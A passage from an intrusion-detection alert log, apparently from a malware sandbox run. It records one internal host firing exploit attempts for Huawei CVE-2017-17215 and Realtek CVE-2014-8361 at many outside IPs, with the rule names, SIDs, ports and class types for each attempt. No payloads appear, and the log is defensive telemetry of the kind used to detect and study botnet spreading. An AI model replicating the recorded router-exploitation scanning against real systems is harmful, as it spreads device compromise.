SID:	2829579
Source Port:	42442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.60.88

Timestamp:	07/20/24-23:01:04.867862
SID:	2829579
Source Port:	43796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 147.249.130.149

Timestamp:	07/20/24-23:01:27.356781
SID:	2831300
Source Port:	53766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.197.224

Timestamp:	07/20/24-23:01:04.908543
SID:	2829579
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.15.127.11

Timestamp:	07/20/24-23:01:08.459273
SID:	2829579
Source Port:	33824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.156.68

Timestamp:	07/20/24-23:01:22.746527
SID:	2835222
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 82.38.244.59

Timestamp:	07/20/24-23:02:06.044957
SID:	2025132
Source Port:	39468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.185.174

Timestamp:	07/20/24-23:01:22.736716
SID:	2829579
Source Port:	35174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.43.43

Timestamp:	07/20/24-23:01:36.852816
SID:	2835222
Source Port:	36816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 77.222.205.40

Timestamp:	07/20/24-23:01:14.517250
SID:	2831300
Source Port:	52164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.8.181.144

Timestamp:	07/20/24-23:01:07.200827
SID:	2027339
Source Port:	50080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.88.176

Timestamp:	07/20/24-23:01:17.779183
SID:	2829579
Source Port:	33254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.72.164.118

Timestamp:	07/20/24-23:01:25.391285
SID:	2829579
Source Port:	59450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.78.206.63

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	50946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 69.82.73.167

Timestamp:	07/20/24-23:01:14.509824
SID:	2831300
Source Port:	38840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.151.172

Timestamp:	07/20/24-23:01:32.263122
SID:	2829579
Source Port:	54490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.59.221

Timestamp:	07/20/24-23:01:25.390959
SID:	2835222
Source Port:	58166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.98.5.56

Timestamp:	07/20/24-23:01:07.498874
SID:	2027339
Source Port:	57608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.43.91.131

Timestamp:	07/20/24-23:01:36.852816
SID:	2835222
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 128.45.232.171

Timestamp:	07/20/24-23:01:36.837667
SID:	2829579
Source Port:	55608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 53.242.30.163

Timestamp:	07/20/24-23:01:04.635097
SID:	2025132
Source Port:	59404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 97.197.39.59

Timestamp:	07/20/24-23:01:36.837667
SID:	2829579
Source Port:	57118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.21.69.168

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	46060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 58.234.199.253

Timestamp:	07/20/24-23:01:14.570907
SID:	2831300
Source Port:	57200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.43.123.108

Timestamp:	07/20/24-23:01:06.851270
SID:	2027339
Source Port:	33414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.157.100.230

Timestamp:	07/20/24-23:01:27.357903
SID:	2027339
Source Port:	54542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.148.75.78

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	48962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 91.73.86.81

Timestamp:	07/20/24-23:01:14.507784
SID:	2027339
Source Port:	39452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 112.182.139.168

Timestamp:	07/20/24-23:01:17.775601
SID:	2835222
Source Port:	60282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 173.132.232.37

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	56702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 126.66.84.101

Timestamp:	07/20/24-23:01:14.521865
SID:	2831300
Source Port:	34230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.93.117.231

Timestamp:	07/20/24-23:01:06.798323
SID:	2829579
Source Port:	57908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.248.105

Timestamp:	07/20/24-23:01:25.456024
SID:	2835222
Source Port:	34406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 18.85.84.92

Timestamp:	07/20/24-23:01:25.391285
SID:	2829579
Source Port:	47340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.43.150.29

Timestamp:	07/20/24-23:01:04.853320
SID:	2829579
Source Port:	37322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 152.52.101.23

Timestamp:	07/20/24-23:01:27.354009
SID:	2831300
Source Port:	48224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.248.182.102

Timestamp:	07/20/24-23:01:15.000002
SID:	2835222
Source Port:	57738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.173.52

Timestamp:	07/20/24-23:01:22.737919
SID:	2829579
Source Port:	46066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.255.47.208

Timestamp:	07/20/24-23:01:05.785643
SID:	2027339
Source Port:	47268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.187.15.229

Timestamp:	07/20/24-23:01:32.201728
SID:	2829579
Source Port:	56544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.204.22

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	57202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 212.178.98.236

Timestamp:	07/20/24-23:01:19.205364
SID:	2025132
Source Port:	50712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.230.143

Timestamp:	07/20/24-23:01:04.893876
SID:	2835222
Source Port:	40742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.42.37.53

Timestamp:	07/20/24-23:01:21.756931
SID:	2027339
Source Port:	38410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.165.79.192

Timestamp:	07/20/24-23:01:15.063531
SID:	2835222
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.186.115

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	58484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.84.130.3

Timestamp:	07/20/24-23:01:14.527257
SID:	2027339
Source Port:	43010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 177.53.116.167

Timestamp:	07/20/24-23:01:20.475909
SID:	2025132
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.164.169.253

Timestamp:	07/20/24-23:01:04.523323
SID:	2025132
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.236.238.51

Timestamp:	07/20/24-23:01:06.552086
SID:	2027339
Source Port:	57588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.251.161

Timestamp:	07/20/24-23:01:14.999580
SID:	2835222
Source Port:	36712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.52.48

Timestamp:	07/20/24-23:01:08.464559
SID:	2835222
Source Port:	38498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.161.212

Timestamp:	07/20/24-23:01:22.747861
SID:	2835222
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 206.120.243.243

Timestamp:	07/20/24-23:01:21.747671
SID:	2027339
Source Port:	47424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.69.54.160

Timestamp:	07/20/24-23:00:59.021580
SID:	2835222
Source Port:	53236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.246.31

Timestamp:	07/20/24-23:01:02.615482
SID:	2835222
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.242.85

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	34636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.191.150

Timestamp:	07/20/24-23:01:22.748875
SID:	2829579
Source Port:	32862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.182.208

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	43364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.171.53.74

Timestamp:	07/20/24-23:01:19.604116
SID:	2025132
Source Port:	45058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.202.147

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	56866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.87.103.106

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	45410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.211.89.122

Timestamp:	07/20/24-23:01:12.357577
SID:	2829579
Source Port:	43688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 197.160.210.166

Timestamp:	07/20/24-23:01:14.523933
SID:	2831300
Source Port:	44084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.29.16

Timestamp:	07/20/24-23:01:06.798673
SID:	2829579
Source Port:	35716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.160.206.198

Timestamp:	07/20/24-23:01:12.358719
SID:	2835222
Source Port:	40118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.247.39

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	51210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.30.126.237

Timestamp:	07/20/24-23:01:25.390960
SID:	2835222
Source Port:	50634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 167.143.161.58

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	58162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.159.183.229

Timestamp:	07/20/24-23:01:21.374444
SID:	2027339
Source Port:	44454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.79.194.18

Timestamp:	07/20/24-23:01:22.834271
SID:	2829579
Source Port:	41558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.60.208

Timestamp:	07/20/24-23:00:59.020191
SID:	2835222
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 111.37.65.174

Timestamp:	07/20/24-23:01:06.258361
SID:	2027339
Source Port:	37992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.111.121.228

Timestamp:	07/20/24-23:01:14.502058
SID:	2027339
Source Port:	50058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 20.106.107.244

Timestamp:	07/20/24-23:01:14.544045
SID:	2831300
Source Port:	40624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 49.146.39.71

Timestamp:	07/20/24-23:01:14.544463
SID:	2831300
Source Port:	50652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 133.115.216.238

Timestamp:	07/20/24-23:01:32.264711
SID:	2835222
Source Port:	55360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.235.93

Timestamp:	07/20/24-23:01:32.259330
SID:	2835222
Source Port:	40012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.137.5

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	54014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.39.226

Timestamp:	07/20/24-23:01:36.846304
SID:	2829579
Source Port:	47890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.239.3.159

Timestamp:	07/20/24-23:01:17.788569
SID:	2835222
Source Port:	52876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.144.4

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	51000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.38.153

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	55822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.183.144.210

Timestamp:	07/20/24-23:01:07.404232
SID:	2027339
Source Port:	44042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.74.101.140

Timestamp:	07/20/24-23:01:06.907572
SID:	2027339
Source Port:	43360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.117.126.33

Timestamp:	07/20/24-23:01:02.613619
SID:	2829579
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.194.141

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	56986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.94.34

Timestamp:	07/20/24-23:01:22.815176
SID:	2829579
Source Port:	52802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.61.193

Timestamp:	07/20/24-23:00:59.055808
SID:	2835222
Source Port:	47022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.111.92.249

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	53990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.171.233.155

Timestamp:	07/20/24-23:01:02.695891
SID:	2829579
Source Port:	46006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.54.67.32

Timestamp:	07/20/24-23:01:06.844628
SID:	2027339
Source Port:	36270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 109.45.117.18

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	60528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.212.148.111

Timestamp:	07/20/24-23:01:14.541501
SID:	2027339
Source Port:	48706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 168.29.107.22

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	57718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.171.127.228

Timestamp:	07/20/24-23:01:04.803876
SID:	2025132
Source Port:	41132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.8.255.47

Timestamp:	07/20/24-23:01:06.147232
SID:	2025132
Source Port:	59158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.14.146

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	52894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 24.166.198.46

Timestamp:	07/20/24-23:01:14.543026
SID:	2027339
Source Port:	51902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.171.246.211

Timestamp:	07/20/24-23:01:21.766543
SID:	2025132
Source Port:	46788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 205.130.81.109

Timestamp:	07/20/24-23:01:14.526400
SID:	2831300
Source Port:	45676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.49.210.94

Timestamp:	07/20/24-23:01:14.569004
SID:	2027339
Source Port:	38430
Destination Port:	52869
Protocol:	TCP
